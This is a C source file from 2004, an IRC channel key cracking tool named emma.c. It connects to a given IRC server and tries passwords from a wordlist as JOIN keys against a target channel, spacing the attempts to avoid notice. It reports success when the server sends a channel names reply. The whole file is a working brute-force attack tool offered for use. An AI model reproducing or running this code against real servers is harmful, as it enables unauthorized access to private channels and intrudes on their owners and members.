/* emma.c - IRC channel key cracking utility
 *
 * by zorlag. (APR 2004)
 *
 * HI TO: angelo, dekadish, metoo &warlord ;)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#define NICK "_emma"
#define IDENT "emma"
#define RLNAME "i is just too cute...."

#define TIMEOUT 10  /* timeout needed to read the motd from server */
#define DELAY 5    /* delay between each try. 5 should be perfect */

int main(int argc, char *argv[]){
  char *ip, *port, *target, *bleh, *bleheh, *keylst, *key;
  char buf[1024], channel[100], blah[100], blahah[100], lstbuf[512];
  fd_set rfds;
  FILE *fp;
  int s, l;
  struct sockaddr_in sock;
  struct timeval tv;

  if(argc != 4){
    printf("usage: %s <serv ip[:port]> <target chan> <file>\n\n", argv[0]);
    exit(0);
  }

  ip = strtok(argv[1], ":");
  if((port = strtok(NULL, ":")) == NULL)
    port = "6667";

  target = argv[2];
  snprintf(channel, sizeof(channel), "#%s", target);
  keylst = argv[3];

  if((fp = fopen(keylst, "r")) == NULL){
    perror("fopen() failed");
    exit(0);
  }

  if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("socket() failed");
    exit(0);
  }

  sock.sin_port = htons(atoi(port));
  sock.sin_family = AF_INET;
  sock.sin_addr.s_addr = inet_addr(ip);

  if((connect(s, (struct sockaddr *)&sock, sizeof(sock))) < 0){
    perror("connect() failed");
    exit(0);
  }

  printf("connected to %s:%s\n", ip, port);

  snprintf(buf, sizeof(buf), "NICK %s\n", NICK);
  write(s, buf, strlen(buf));
  snprintf(buf, sizeof(buf), "USER %s skit skit :%s\n", IDENT, RLNAME);
  write(s, buf, strlen(buf));

  while(1){
    FD_ZERO(&rfds);
    FD_SET(s, &rfds);
    tv.tv_sec = TIMEOUT;
    tv.tv_usec = 0;
    l = select((s+1), &rfds, NULL, NULL, &tv);

    if(l){
      read(s, buf, sizeof(buf));
      printf("%s\n", buf);

      bleh = strtok(buf, " ");
      bleh = strtok(NULL, " ");
      snprintf(blah, sizeof(blah), "%s", bleh);

      if(strstr(buf, "PING")){ 
        snprintf(buf, sizeof(buf), "PONG %s\n", blah);
        write(s, buf, strlen(buf));
      }

      memset(buf, 0, sizeof(buf));
    }else{
      printf("breaking into %s\n", channel);
      
      while(!feof(fp)){
        sleep(DELAY);

        if((key = fgets(lstbuf, sizeof(lstbuf), fp)) != NULL){ 
          printf("trying %s", key);

          snprintf(buf, sizeof(buf), "JOIN %s %s", channel, key);
          write(s, buf, strlen(buf));
          read(s, buf, sizeof(buf));
          printf("%s\n", buf);

          if((strstr(buf, "353")) && !(strstr(buf, "NOTICE"))){
            printf("WE ARE IN\n");
            exit(0);
          }

          bleheh = strtok(buf, " ");
          bleheh = strtok(NULL, " ");
          snprintf(blahah, sizeof(blahah), "%s", bleheh);

          if(strstr(buf, "PING")){
            snprintf(buf, sizeof(buf), "PONG %s\n", blahah);
            write(s, buf, strlen(buf));
          }

          memset(buf, 0, sizeof(buf));
        }
      }

      printf("FUCKING SHIT!\n");
      exit(0);
    }
  }
}